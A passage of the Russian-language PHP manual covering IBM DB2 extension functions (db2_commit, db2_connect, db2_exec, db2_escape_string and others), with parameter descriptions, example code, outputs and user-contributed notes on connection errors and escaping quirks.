lada(at)hoidekr.net 04-Sep-2006 11:48
This is not true!
column-name
    The name of the column. To match all columns in the table, pass NULL or an empty string.

You should pass '%' to match all columns


Подтверждает транзакцию

  • « db2_columns
  • db2_conn_error »
  • PHP Manual
  • Функции IBM DB2
  • Подтверждает транзакцию

db2_commit

(PECL ibm_db2 >= 1.0.0)

db2_commit — Подтверждает транзакцию

Описание

db2_commit(resource $connection): bool

Подтверждает текущую транзакцию на указанном соединении и начинает новую. По умолчанию, в PHP, используется автоподтверждение транзакций, так что функция db2_commit() нужна только в том случае, если вы принудительно отключили автоподтверждение транзакций для соединения.

Список параметров

connection

Переменная содержащая активный ресурс подключения, полученный с помощью db2_connect() или db2_pconnect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • db2_autocommit() - Возвращает или устанавливает режим автоподтверждения транзакций для соединения
  • db2_rollback() - Откатывает транзакцию

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку, содержащую значение SQLSTATE, возвращённое последней попыткой подключения

  • « db2_commit
  • db2_conn_errormsg »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает строку, содержащую значение SQLSTATE, возвращённое последней попыткой подключения

db2_conn_error

(PECL ibm_db2 >= 1.0.0)

db2_conn_error — Возвращает строку, содержащую значение SQLSTATE, возвращённое последней попыткой подключения

Описание

db2_conn_error(?resource $connection = null): string

Возвращает значение SQLSTATE, представляющее причину, по которой последняя попытка подключения к базе данных завершилась неудачей. Поскольку db2_connect() возвращает false в случае неудачной попытки подключения, не нужно передавать никаких параметров в db2_conn_error() для получения значения SQLSTATE.

Однако, если соединение было успешным, но со временем стало недействительным, можно передать параметр connection, чтобы получить значение SQLSTATE для конкретного соединения.

Чтобы узнать, что означает значение SQLSTATE, вы можете ввести следующую команду в командной строке DB2 Command Line Processor: db2 '? sqlstate-value'. Также можно вызвать db2_conn_errormsg(), чтобы получить явное сообщение об ошибке и соответствующее значение SQLCODE.

Список параметров

connection

Ресурс подключения, связанный с подключением, которое изначально было успешным, но со временем стало недействительным.

Возвращаемые значения

Возвращает значение SQLSTATE, полученное в результате неудачной попытки подключения. Возвращает пустую строку, если при последней попытке подключения ошибок не возникло.

Примеры

Пример #1 Получение значения SQLSTATE для неудачной попытки подключения

В данном примере показано, как вернуть значение SQLSTATE после преднамеренной передачи недопустимых параметров в db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
print "SQLSTATE value: " . db2_conn_error();
}
?>

Результат выполнения данного примера:

SQLSTATE value: 08001

Смотрите также

  • db2_conn_errormsg() - Возвращает последнее сообщение об ошибке подключения и значение SQLCODE
  • db2_connect() - Возвращает соединение с базой данных
  • db2_stmt_error() - Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором
  • db2_stmt_errormsg() - Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнее сообщение об ошибке подключения и значение SQLCODE

  • « db2_conn_error
  • db2_connect »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает последнее сообщение об ошибке подключения и значение SQLCODE

db2_conn_errormsg

(PECL ibm_db2 >= 1.0.0)

db2_conn_errormsg — Возвращает последнее сообщение об ошибке подключения и значение SQLCODE

Описание

db2_conn_errormsg(?resource $connection = null): string

Возвращает сообщение об ошибке и значение SQLCODE, представляющее причину, по которой последняя попытка подключения к базе данных завершилась неудачей. Поскольку db2_connect() возвращает false в случае неудачной попытки подключения, не нужно передавать никаких параметров в db2_conn_errormsg() для получения соответствующего сообщения об ошибке и значения SQLCODE.

Однако, если соединение было успешным, но со временем стало недействительным, можно передать параметр connection, чтобы получить соответствующее сообщение об ошибке и значение SQLCODE для конкретного соединения.

Список параметров

connection

Ресурс подключения, связанный с подключением, которое изначально было успешным, но со временем стало недействительным.

Возвращаемые значения

Возвращает строку, содержащую сообщение об ошибке и значение SQLCODE, полученное в результате неудачной попытки подключения. Если при последней попытке подключения ошибок не возникло, db2_conn_errormsg() возвращает пустую строку.

Примеры

Пример #1 Получение сообщения об ошибке, возвращённого при неудачной попытке подключения

В данном примере показано, как вернуть сообщение об ошибке и значение SQLCODE после преднамеренной передачи недопустимых параметров в db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
print db2_conn_errormsg();
}
?>

Результат выполнения данного примера:

[IBM][CLI Driver] SQL1013N  The database alias name
or database name "BADNAME" could not be found.  SQLSTATE=42705
 SQLCODE=-1013

Смотрите также

  • db2_conn_error() - Возвращает строку, содержащую значение SQLSTATE, возвращённое последней попыткой подключения
  • db2_connect() - Возвращает соединение с базой данных
  • db2_stmt_error() - Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором
  • db2_stmt_errormsg() - Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения

User Contributed Notes

nnd100216ibmdb2 at smallcue dot com 16-Feb-2010 07:25
A word of warning:

It appears that if you specify an invalid ibm_db2.instance_name  in your php.ini file, your cataloged db2_connect() will fail with a returned value of false and when you use db2_conn_error() or db2_conn_errormsg() to check on the reason, those functions will return an empty string.


Возвращает соединение с базой данных

  • « db2_conn_errormsg
  • db2_cursor_type »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает соединение с базой данных

db2_connect

(PECL ibm_db2 >= 1.0.0)

db2_connect — Возвращает соединение с базой данных

Описание

db2_connect(
string $database,
?string $username,
?string $password,
array $options = []
): resource|false

Создаёт новое соединение с базой данных IBM DB2 Universal Database, IBM Cloudscape или Apache Derby database.

Список параметров

database

Для каталогизированного соединения с базой данных database представляет собой псевдоним базы данных в клиентском каталоге DB2.

Для некаталогизированного подключения к базе данных database представляет собой полную строку подключения в следующем формате:

DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password;
где параметры представляют следующие значения:
database

Имя базы данных.

hostname

Имя хоста или IP-адрес сервера базы данных.

port

Порт TCP/IP, который используется базой данных для принятия запросов.

username

Имя пользователя, под которым происходит подключение к базе данных.

password

Пароль, с которым происходит подключение к базе данных.

username

Имя пользователя, под которым происходит подключение к базе данных.

Для некаталогизированных соединений необходимо передать значение null или пустую строку.

password

Пароль, с которым происходит подключение к базе данных.

Для некаталогизированных соединений необходимо передать значение null или пустую строку.

options

Ассоциативный массив параметров подключения, которые влияют на поведение подключения, где допустимые ключи массива включают:

autocommit

Передача значения DB2_AUTOCOMMIT_ON включает автоматическую фиксацию (autocommit) для этого дескриптора соединения.

Передача значения DB2_AUTOCOMMIT_OFF выключает автоматическую фиксацию (autocommit) для этого дескриптора соединения.

DB2_ATTR_CASE

Передача значения DB2_CASE_NATURAL указывает, что имена столбцов возвращаются в естественном регистре.

Передача значения DB2_CASE_LOWER указывает, что имена столбцов возвращаются в нижнем регистре.

Передача значения DB2_CASE_UPPER указывает, что имена столбцов возвращаются в верхнем регистре.

CURSOR

Передача значения DB2_FORWARD_ONLY задаёт курсор, который двигается только вперёд, для ресурса оператора. Данный тип курсора используется по умолчанию, он поддерживается всеми серверами баз данных.

Передача значения DB2_SCROLLABLE задаёт прокручиваемый курсор для ресурса оператора. Этот режим включает произвольный доступ к строкам в наборе результатов, но в настоящее время поддерживается только IBM DB2 Universal Database.

Данная новая опция доступна в ibm_db2 версии 1.7.0 и новее.

trustedcontext

Передача значения DB2_TRUSTED_CONTEXT_ENABLE включает доверенный контекст для этого дескриптора соединения. Этот параметр нельзя установить с помощью db2_set_option().

Этот ключ работает только в том случае, если база данных каталогизирована (даже если база данных является локальной) или если будет указан полный DSN при создании соединения.

Чтобы каталогизировать базу данных, используйте следующие команды:

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
            db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
            db2 "update dbm cfg using svcename <SERVICENAME>"
            db2set DB2COMM=TCPIP

Данные новые опции i5/OS доступны в ibm_db2 версии 1.5.1 и новее.

i5_lib

Символьное значение, указывающее библиотеку по умолчанию, которая будет использоваться для разрешения неквалифицированных ссылок на файлы. Это недопустимо, если соединение использует режим именования системы.

i5_naming

Значение DB2_I5_NAMING_ON включает режим именования системы DB2 UDB CLI iSeries. Файлы квалифицируются с помощью косой черты (/) в качестве разделителя. Неквалифицированные файлы разрешаются с использованием списка библиотек для работы.

Значение DB2_I5_NAMING_OFF выключает режим именования по умолчанию DB2 UDB CLI, который является именованием SQL. Файлы квалифицируются с использованием точки (.) в качестве разделителя. Неквалифицированные файлы разрешаются с использованием либо библиотеки по умолчанию, либо текущего идентификатора пользователя.

i5_commit

Атрибут i5_commit должен быть установлен перед вызовом db2_connect(). Если значение изменяется после того, как соединение было установлено, и соединение установлено с удалённым источником данных, изменение не вступит в силу до следующего успешного вызова db2_connect() для дескриптора соединения.

Замечание:

Параметр php.ini ibm_db2.i5_allow_commit==0 или DB2_I5_TXN_NO_COMMIT используется по умолчанию, но может быть изменён с помощью параметра i5_commit.

DB2_I5_TXN_NO_COMMIT - Контроль транзакций не используется.

DB2_I5_TXN_READ_UNCOMMITTED - Возможны грязные чтения, неповторяющиеся чтения и фантомы.

DB2_I5_TXN_READ_COMMITTED - Грязное чтение невозможно. Возможны неповторяющиеся чтения и фантомы

DB2_I5_TXN_REPEATABLE_READ - Грязные чтения и неповторяющиеся чтения невозможны. Возможны фантомы.

DB2_I5_TXN_SERIALIZABLE - Транзакции сериализуемы. Грязные чтения, неповторяющиеся чтения и фантомы невозможны.

i5_query_optimize

DB2_FIRST_IO - Все запросы оптимизированы с целью максимально быстрого возврата первой страницы вывода. Эта цель хорошо работает, когда вывод контролируется пользователем, который, скорее всего, отменит запрос после просмотра первой страницы выходных данных. Запросы, закодированные с предложением OPTIMIZE FOR nnn ROWS, учитывают цель, указанную в предложении.

DB2_ALL_IO - Все запросы оптимизированы с целью выполнить весь запрос до завершения в кратчайшие сроки. Это хороший вариант, когда выходные данные запроса записываются в файл или отчёт, или когда интерфейс ставит выходные данные в очередь. Запросы, закодированные с предложением OPTIMIZE FOR nnn ROWS, учитывают цель, указанную в предложении. Это значение по умолчанию.

i5_dbcs_alloc

Значение DB2_I5_DBCS_ALLOC_ON включает схему распределения DB2 6X для увеличения размера столбца преобразования DBCS.

Значение DB2_I5_DBCS_ALLOC_OFF отключает схему распределения DB2 6X для увеличения размера столбца преобразования DBCS.

Замечание: параметр php.ini ibm_db2.i5_dbcs_alloc== 0 или DB2_I5_DBCS_ALLOC_OFF является значением по умолчанию, но его можно изменить с помощью параметра i5_dbcs_alloc.

i5_date_fmt

DB2_I5_FMT_ISO - Используется формат даты Международной организации по стандартизации (ISO) (yyyy-mm-dd). Это значение по умолчанию.

DB2_I5_FMT_USA - Используется формат даты США (mm/dd/yyyy).

DB2_I5_FMT_EUR - Используется европейский формат даты (dd.mm.yyyy).

DB2_I5_FMT_JIS - Используется формат даты японского промышленного стандарта (yyyy-mm-dd).

DB2_I5_FMT_MDY - Используется формат даты mm/dd/yyyy.

DB2_I5_FMT_DMY - Используется формат даты dd/mm/yyyy.

DB2_I5_FMT_YMD - Используется формат даты yy/mm/dd.

DB2_I5_FMT_JUL - Используется юлианский формат даты (yy/ddd).

DB2_I5_FMT_JOB - Используется задание по умолчанию.

i5_date_sep

DB2_I5_SEP_SLASH - В качестве разделителя даты используется косая черта ( / ). Это значение по умолчанию.

DB2_I5_SEP_DASH - В качестве разделителя даты используется тире ( - ).

DB2_I5_SEP_PERIOD - В качестве разделителя даты используется точка ( . ).

DB2_I5_SEP_COMMA - В качестве разделителя даты используется запятая ( , ).

DB2_I5_SEP_BLANK - В качестве разделителя даты используется пробел.

DB2_I5_SEP_JOB - Используется задание по умолчанию.

i5_time_fmt

DB2_I5_FMT_ISO - Используется формат времени Международной организации по стандартизации (ISO) (hh.mm.ss). Это значение по умолчанию.

DB2_I5_FMT_USA - Используется формат времени США (hh:mmxx, где xx - это AM или PM).

DB2_I5_FMT_EUR - Используется европейский формат времени (hh.mm.ss).

DB2_I5_FMT_JIS - Используется японский промышленный стандартный формат времени (hh:mm:ss).

DB2_I5_FMT_HMS - Используется формат hh:mm:ss.

i5_time_sep

DB2_I5_SEP_COLON - В качестве разделителя времени используется двоеточие ( : ). Это значение по умолчанию.

DB2_I5_SEP_PERIOD - В качестве разделителя времени используется точка ( . ).

DB2_I5_SEP_COMMA - В качестве разделителя времени используется запятая ( , ).

DB2_I5_SEP_BLANK - В качестве разделителя времени используется пробел.

DB2_I5_SEP_JOB - Используется задание по умолчанию.

i5_decimal_sep

DB2_I5_SEP_PERIOD - В качестве десятичного разделителя используется точка ( . ). Это значение по умолчанию.

DB2_I5_SEP_COMMA - В качестве десятичного разделителя используется запятая ( , ).

DB2_I5_SEP_JOB - Используется задание по умолчанию.

Данная новая опция i5/OS доступна в ibm_db2 версии 1.8.0 и новее.

i5_libl

Символьное значение, указывающее список библиотек, который будет использоваться для разрешения неквалифицированных ссылок на файлы. Укажите элементы списка библиотек, разделённые пробелами 'i5_libl'=>"MYLIB YOURLIB ANYLIB".

Замечание:

i5_libl вызывает qsys2/qcmdexc('cmd',cmdlen), который доступен только в i5/OS V5R4 и новее.

Возвращаемые значения

Возвращает ресурс дескриптора подключения, если попытка подключения успешна. Если попытка подключения потерпела неудачу, db2_connect() возвращает false.

Примеры

Пример #1 Создание каталогизированного соединения

Каталогизированные соединения требуют, чтобы целевая база данных была предварительно каталогизирована с помощью DB2 Command Line Processor (CLP) или DB2 Configuration Assistant.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$conn = db2_connect($database, $user, $password);

if ($conn) {
echo "Connection succeeded.";
db2_close($conn);
}
else {
echo "Connection failed.";
}
?>

Результат выполнения данного примера:

Connection succeeded.

Пример #2 Создание некаталогизированного соединения

Некаталогизированное соединение позволяет динамически подключаться к базе данных.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$hostname = 'localhost';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
"HOSTNAME=$hostname;PORT=$port;PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

if ($conn) {
echo "Connection succeeded.";
db2_close($conn);
}
else {
echo "Connection failed.";
}
?>

Результат выполнения данного примера:

Connection succeeded.

Пример #3 Создание соединения с отключённым автокоммитом по умолчанию

Передача массива параметров в db2_connect() позволяет изменять поведение дескриптора соединения по умолчанию.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);

$conn = db2_connect($database, $user, $password, $options);

if ($conn) {
echo "Connection succeeded.\n";
if (db2_autocommit($conn)) {
echo "Autocommit is on.\n";
}
else {
echo "Autocommit is off.\n";
}
db2_close($conn);
}
else {
echo "Connection failed.";
}
?>

Результат выполнения данного примера:

Connection succeeded.
Autocommit is off.

Пример #4 Лучшая производительность i5/OS

Для достижения максимальной производительности вашего приложения PHP i5/OS ibm_db2 1.5.1 используйте хост по умолчанию, идентификатор пользователя и пароль для db2_connect().

<?php
$library = "ADC";
$i5 = db2_connect("", "", "", array("i5_lib"=>"qsys2"));
$result = db2_exec($i5,
"select * from systables where table_schema = '$library'");
while ($row = db2_fetch_both($result)) {
echo $row['TABLE_NAME']."</br>";
}
db2_close($i5);
?>

Результат выполнения данного примера:

ANIMALS
NAMES
PICTURES

Пример #5 Использование доверенного контекста

В данном примере показано, как включить доверенный контекст, переключить пользователей и получить текущий идентификатор пользователя.

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_connect($dsn, "", "", $options);
if($tc_conn) {
echo "Explicit trusted connection succeeded.\n";

if(db2_get_option($tc_conn, "trustedcontext")) {
$userBefore = db2_get_option($tc_conn, "trusted_user");

// Выполнение работы в качестве пользователя 1

// Переключение на доверенного пользователя
$parameters = array("trusted_user" => $tc_user,
"trusted_password" => $tcuser_pass);
$res = db2_set_option ($tc_conn, $parameters, 1);

$userAfter = db2_get_option($tc_conn, "trusted_user");
// Продолжение выполнения работы в качестве доверенного пользователя

if($userBefore != $userAfter) {
echo "User has been switched." . "\n";
}
}

db2_close($tc_conn);
}
else {
echo "Explicit trusted connection failed.\n";
}
?>

Результат выполнения данного примера:

Explicit trusted connection succeeded.
User has been switched.

Смотрите также

  • db2_close() - Закрывает соединение с базой данных
  • db2_pconnect() - Возвращает постоянное соединение с базой данных

User Contributed Notes

d dot lanza38 at gmail dot com 29-Sep-2015 01:16
As of 09/29/2015 when using the ibm_db2 driver and specifying an invalid library list with the 'i5_libl' option, the connection will be successfully created but with a default library list.  What happens is the connection is made and THEN the library list is attempted to be changed.  The connection will be a success but the library list change will fail without "db2_conn_error()" or "db2_conn_errormsg()" reporting anything and a default library list will be used.  However, "db2_stmt_error()" and "db2_stmt_errormsg()" will register with a value.  Also if error reporting is enable, the warning will be output to the screen.  This is not a bug, rather intended behavior according to Zend (I opened a ticked) and depending on which library list is used/swapped could lead to major problems (development VS production).  I stumbled upon this behavior when an anomaly (which I still can't explain) was imploding my library list with the character 'Z'.  I realized I was in my development environment but accessing production data as a result.  Going forward I will make sure to add this additional check for good measure.

See below to recreate behavior:

<?php
ini_set("display_errors", 1);

$systemName = 'systemName';
$userID = 'userName';
$password = 'password';

$options['i5_libl'] = implode('Z', array(
        'INVALID',
    'LIB',
    'LIST',
    'IMPLODED',
    'WITH',
    'THE',
    'LETTER',
    'Z'
    ));

$options['i5_naming'] = DB2_I5_NAMING_ON;

$conn = db2_connect($systemName, $userID, $password, $options);
//This line causes "ini_set("display_errors", 1)" to dislay this warning on the screen:
//Warning: db2_connect(): Statement Execute Failed in /PATH/TO/FILE/test.php on line 58

if (db2_stmt_error()) { //Evaluates to true
    echo "error ID: " . (db2_stmt_error()); //Displays error code: 38501
    echo "<br>error message: " . (db2_stmt_errormsg()); //Displays: Trigger program or external routine detected an error. SQLCODE=-443
}

echo "<br />|".db2_conn_error()." ||| ".db2_conn_errormsg()."|<br />"; //Only "| ||| |" is displayed
print_r($conn); //A resource ID is displayed
echo "<br />";

if(isset($conn) && $conn === true){
    echo "Boolean true<br />";
    //never executes, but not expected since either false or a resource ID should be returned.
    //Plus it is clear $conn contains a resource ID from above.
}
if(isset($conn) && $conn == true){
    echo "Non-Boolean true 2<br />";
    //This always executes regardless of an accurate library list or not
    //I suppose "if($conn)" would evaluate to non-boolean true so this makes sense.
}
if(isset($conn) && $conn == "true"){
    echo "String true";
    //Never executes, but not expected.
}
if(isset($conn) && $conn === false){
    echo "Boolean false<br />";
    //never executes because the connection itself was a success.
    //If invalid credentials were provided this executes.
}
if(isset($conn) && $conn == false){
    echo "Non-Boolean false 2<br />";
    //never executes because the connection itself was a success.
    //Added this here because I was unsure if a boolean false would be returned or not.
    //If invalid credentials were provided this executes as well.
}
if(isset($conn) && $conn == "false"){
    echo "String false";
    //never executes because the connection itself was a success.
    //Added this here because I was unsure if a String "false" would be returned
}
?>


Возвращает тип курсора, который используется в ресурсе оператора

  • « db2_connect
  • db2_escape_string »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает тип курсора, который используется в ресурсе оператора

db2_cursor_type

(PECL ibm_db2 >= 1.0.0)

db2_cursor_type — Возвращает тип курсора, который используется в ресурсе оператора

Описание

db2_cursor_type(resource $stmt): int

Возвращает тип курсора, который используется в ресурсе оператора.

Список параметров

stmt

Корректный ресурс оператора.

Возвращаемые значения

Возвращает либо DB2_FORWARD_ONLY, либо DB2_SCROLLABLE, в зависимости от типа используемого курсора.

Смотрите также

  • db2_prepare() - Подготавливает SQL-запрос к выполнению

User Contributed Notes

There are no user contributed notes for this page.


Используется для экранирования некоторых символов

  • « db2_cursor_type
  • db2_exec »
  • PHP Manual
  • Функции IBM DB2
  • Используется для экранирования некоторых символов

db2_escape_string

(PECL ibm_db2 >= 1.6.0)

db2_escape_string — Используется для экранирования некоторых символов

Описание

db2_escape_string(string $string_literal): string

Добавляет обратных слеши перед специальными символами в переданной строке.

Список параметров

string_literal

Строка, содержащая символы, которые надо экранировать. Символы, которые надо экранировать: \x00, \n, \r, \, ', " и \x1a.

Возвращаемые значения

Возвращает string_literal с экранированными специальными символами.

Примеры

Пример #1 Пример использования db2_escape_string()

Результат выполнения функции db2_escape_string()

<?php

$conn = db2_connect($database, $user, $password);

if ($conn) {
$str[0] = "All characters: \x00 , \n , \r , \ , ' , \" , \x1a .";
$str[1] = "Backslash (\). Single quote ('). Double quote (\")";
$str[2] = "The NULL character \0 must be quoted as well";
$str[3] = "Intersting characters: \x1a , \x00 .";
$str[4] = "Nothing to quote";
$str[5] = 200676;
$str[6] = "";

foreach( $str as $string ) {
echo "db2_escape_string: " . db2_escape_string($string). "\n";
}
}
?>

Результат выполнения данного примера:

db2_escape_string: All characters: \0 , \n , \r , \\ , \' , \" , \Z .
db2_escape_string: Backslash (\\). Single quote (\'). Double quote (\")
db2_escape_string: The NULL character \0 must be quoted as well
db2_escape_string: Intersting characters: \Z , \0 .
db2_escape_string: Nothing to quote
db2_escape_string: 200676
db2_escape_string:

Смотрите также

  • db2_prepare() - Подготавливает SQL-запрос к выполнению

User Contributed Notes

hippyjim 27-May-2009 06:52
One thing to note here - don't know if it applies to all DB2 installations, and I know I'm using an antiquated one, but my DB2 install wants a ' to be quoted rather than slashed.

That means this function is useless to pick up apostrophes ' in strings, as it adds a slash which DB2 ignores.

You'll need to use something like str_replace to swap your ' for ''.


Выполняет SQL-запрос напрямую

  • « db2_escape_string
  • db2_execute »
  • PHP Manual
  • Функции IBM DB2
  • Выполняет SQL-запрос напрямую

db2_exec

(PECL ibm_db2 >= 1.0.0)

db2_exec — Выполняет SQL-запрос напрямую

Описание

db2_exec(resource $connection, string $statement, array $options = []): resource|false

Выполняет SQL-запрос напрямую.

Если вы планируете интерполировать переменные PHP в SQL-запрос, имейте в виду, что это одна из наиболее распространённых уязвимостей безопасности. Рассмотрите возможность вызова db2_prepare() для подготовки SQL-запроса с маркерами параметров для входных значений. Затем вы можете вызвать db2_execute(), чтобы передать входные значения и избежать атак SQL-инъекций.

Если вы планируете многократно выполнять один и тот же SQL-запрос с разными параметрами, рассмотрите возможность вызова db2_prepare() и db2_execute(), чтобы сервер базы данных мог повторно использовать свой план доступа и повысить эффективность вашей базы данных.

Список параметров

connection

Допустимая переменная ресурса соединения с базой данных, возвращаемого функцией db2_connect() или db2_pconnect().

statement

SQL-запрос. Запрос не может содержать маркеры параметров.

options

Ассоциативный массив, содержащий параметры оператора. Параметр можно использовать для запроса прокручиваемого курсора на серверах баз данных, поддерживающих эту функцию.

Описание допустимых опций оператора смотрите в разделе db2_set_option().

Возвращаемые значения

Возвращает ресурс оператора, в случае успешного выполнения SQL-запроса или false, если базе данных не удалось выполнить SQL-запрос.

Примеры

Пример #1 Создание таблицы с помощью db2_exec()

В следующем примере db2_exec() используется для выполнения набора DDL-запросов в процессе создания таблицы.

<?php
$conn = db2_connect($database, $user, $password);

// Создание таблицы test
$create = 'CREATE TABLE animals (id INTEGER, breed VARCHAR(32),
name CHAR(16), weight DECIMAL(7,2))';
$result = db2_exec($conn, $create);
if ($result) {
print "Таблица создана.\n";
}

// Наполнение таблицы test
$animals = array(
array(0, 'cat', 'Pook', 3.2),
array(1, 'dog', 'Peaches', 12.3),
array(2, 'horse', 'Smarty', 350.0),
array(3, 'gold fish', 'Bubbles', 0.1),
array(4, 'budgerigar', 'Gizmo', 0.2),
array(5, 'goat', 'Rickety Ride', 9.7),
array(6, 'llama', 'Sweater', 150)
);

foreach ($animals as $animal) {
$rc = db2_exec($conn, "INSERT INTO animals (id, breed, name, weight)
VALUES ({$animal[0]}, '{$animal[1]}', '{$animal[2]}', {$animal[3]})");
if ($rc) {
print "Добавлена запись... ";
}
}
?>

Результат выполнения данного примера:

Таблица создана.
Добавлена запись... Добавлена запись... Добавлена запись... Добавлена запись... Добавлена запись... Добавлена запись... Добавлена запись...

Пример #2 Выполнение запроса SELECT с прокручиваемым курсором

В следующем примере показано, как запросить прокручиваемый курсор для SQL-запроса, полученного с помощью db2_exec()..

<?php
$conn = db2_connect($database, $user, $password);
$sql = "SELECT name FROM animals
WHERE weight < 10.0
ORDER BY name";
if ($conn) {
require_once('prepare.inc');
$stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
while ($row = db2_fetch_array($stmt)) {
print "$row[0]\n";
}
}
?>

Результат выполнения данного примера:

Bubbles
Gizmo
Pook
Rickety Ride

Пример #3 Получение XML-данных как SQL ResultSet

В следующем примере показано, как работать с документами, хранящимися в столбце XML с помощью базы данных SAMPLE. Используя довольно простой SQL/XML, этот пример возвращает некоторые узлы в XML-документе в формате SQL ResultSet, с которым знакомо большинство пользователей.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" VARCHAR (50) PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) AS T
WHERE NAME = \'Kathy Smith\'
';
$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
printf("$row->CID $row->NAME $row->PHONE\n");
}
db2_close($conn);

?>

Результат выполнения данного примера:

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

Пример #4 Выполнение "JOIN" с данными XML

Следующий пример работает с документами, хранящимися в 2 разных столбцах XML в базе данных SAMPLE. Он создаёт 2 временные таблицы из XML-документов из 2 разных столбца и возвращает SQL ResultSet с информацией о статусе доставки для клиента.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
FROM
XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" BIGINT PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) as A,
PURCHASEORDER AS B,
XMLTABLE (
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
COLUMNS
"PONUM" BIGINT PATH \'@PoNum\',
"STATUS" VARCHAR (50) PATH \'@Status\'
) as C
WHERE A.CID = B.CUSTID AND
B.POID = C.PONUM AND
A.NAME = \'Kathy Smith\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
printf("$row->CID $row->NAME $row->PHONE $row->PONUM $row->STATUS\n");
}

db2_close($conn);

?>

Результат выполнения данного примера:

1001     Kathy Smith     905-555-7258     5002     Shipped

Пример #5 Возврат SQL-данных как части большого XML-документа

Следующий пример работает с частью документов PRODUCT.DESCRIPTION в базе данных SAMPLE. Он создаёт XML-документ, содержащий описание продукта (данные XML) и информацию о ценах (данные SQL).

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
declare boundary-space strip;
declare default element namespace "http://posample.org";
<promoList> {
for $prod in $doc/product
where $prod/description/price < 10.00
order by $prod/description/price ascending
return(
<promoitem> {
$prod,
<startdate> {$start} </startdate>,
<enddate> {$end} </enddate>,
<promoprice> {$promo} </promoprice>
} </promoitem>
)
} </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = \'100-100-01\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_array($stmt)){
printf("$row[0]\n");
}
db2_close($conn);

?>

Результат выполнения данного примера:

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

Смотрите также

  • db2_execute() - Выполняет подготовленный SQL-запрос
  • db2_prepare() - Подготавливает SQL-запрос к выполнению

User Contributed Notes

duc 12-Aug-2006 06:38
if you have the error message : PHP Warning:  db2_exec() [<a href='function.db2-exec'>function.db2-exec</a>]: Statement Execute Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid
shawn at frozen-o dot com 19-May-2006 10:34
If you need to "emulate" offset/limit (as PEAR::DB puts it) for db2 queries, you will definitely need to add array('cursor' => DB2_SCROLLABLE) to your db2_exec() call. Otherwise, you will get nothing useful from db2_fetch_{whatever}() when you try to (see following hack for example):

<?php
$limit = 10;
$offset = 20;

for ($i = 0; $i < $limit && $row = db2_fetch_array($result, $offset + $i); $i++) {
    // stuff goes here
}
?>

You can accomplish the same time of thing using sub-selects, "with" statements and other things new to me in the world of DB2, but the more dynamically generated the queries, the more difficult it gets to implement limit/offset behavior on the fly.


Выполняет подготовленный SQL-запрос

  • « db2_exec
  • db2_fetch_array »
  • PHP Manual
